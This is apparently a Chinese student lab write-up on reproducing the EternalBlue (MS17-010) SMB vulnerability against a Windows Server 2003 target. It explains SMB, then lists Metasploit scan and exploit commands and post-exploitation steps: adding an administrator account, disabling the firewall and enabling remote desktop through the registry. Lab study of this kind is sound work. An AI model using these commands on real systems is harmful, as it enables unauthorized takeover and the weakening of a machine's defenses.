zoukankan      html  css  js  c++  java
  • 永恒之蓝——windows server 2003 漏洞

    永恒之蓝——windows server 2003 漏洞

    作业参考

    作业参考2

    一、永恒之蓝简述:

    永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

    二、SMB协议简述:

    SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

    三、SMB工作原理:

    1、首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信;

    2、协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接;

    3、当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝;

    4、连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。

    四、复现漏洞

    1、启动msf:msfconsole

     

    这样就成功进入了msf中,如果你的界面与该界面不同,不必诧异,msf每次都会有一个随机的界面

    2、搜索ms17_010:search ms17_010          

    3、使用命令:use auxiliary/scanner/smb/smb_ms17_010

    4、show options   //输入options来获得帮助命令

    RHOSTS和THREADS,RHOSTS是要扫描的主机(主机段),THREADS是线程,默认是1,开始使用线程加快扫描

    5、set rhosts 192.168.197.128 //扫描靶机(windows 2003 )

    6、run 或者 exploit //开始执行扫描

    出现以上情况,存在漏洞 即445端口开放

    漏洞利用

    1、use exploit/windows/smb/ms17_010_psexec    //windows 2003 的攻击模块

    2、set  rhost  172.17.9.228

    3、run  或者 exploit  //开始攻击

    Kali操控server 2003

    Step1:获取屏幕数据

     

    Step2:获取密码

     

    Step3:shell控制

    远程控制

    1、添加用户net user 用户名 密码 /add
    命令:net user ccq 123456 /add

     

    2、查看本地用户信息:
    命令: Net user

    net localgroup Administrators ccq2003 /add

    确认添加成功,并提升至管理员权限     net user ccq2003                 确认是否提权成功

    3、关闭防火墙
    命令:netsh firewall set opmode mode=disable

    查看防火墙状态:
    netsh firewall show state

    4、查看开启的端口
    命令:netstat -ano

     

    5、开启3389端口(如果3389没有开启)
    命令:REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

    查看 3389 端口
    命令:netstat -aon | findstr “3389”

     6、远程桌面连接

     

    rdesktop + ip 地址

    后渗透

    愿路途漫长,以后莫失莫忘。 愿你不骄不躁,安稳顺心。

    作者:菜鸟-传奇
    本文版权归作者和博客园共有,不以任何盈利为目的,欢迎转载。但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接,否则保留追究法律声明责任的权利。
  • 相关阅读:
    关于如何实现NSNotificationCenter在不同的VC对象之间发送通知
    关于iOS如何实现一个单例
    C++中级-类模板
    C++中级-文件读写
    C++中级-多态
    C++中级-继承
    C++中级-friend关键字访问类中private
    C++中级-(静态成员和对象丶this指针丶常函数和对象、成员函数和对象)
    C++中级-(构造函数,拷贝构造函数,析构函数)
    C++中级-类的封装
  • 原文地址:https://www.cnblogs.com/cainiao-chuanqi/p/14980498.html
Copyright © 2011-2022 走看看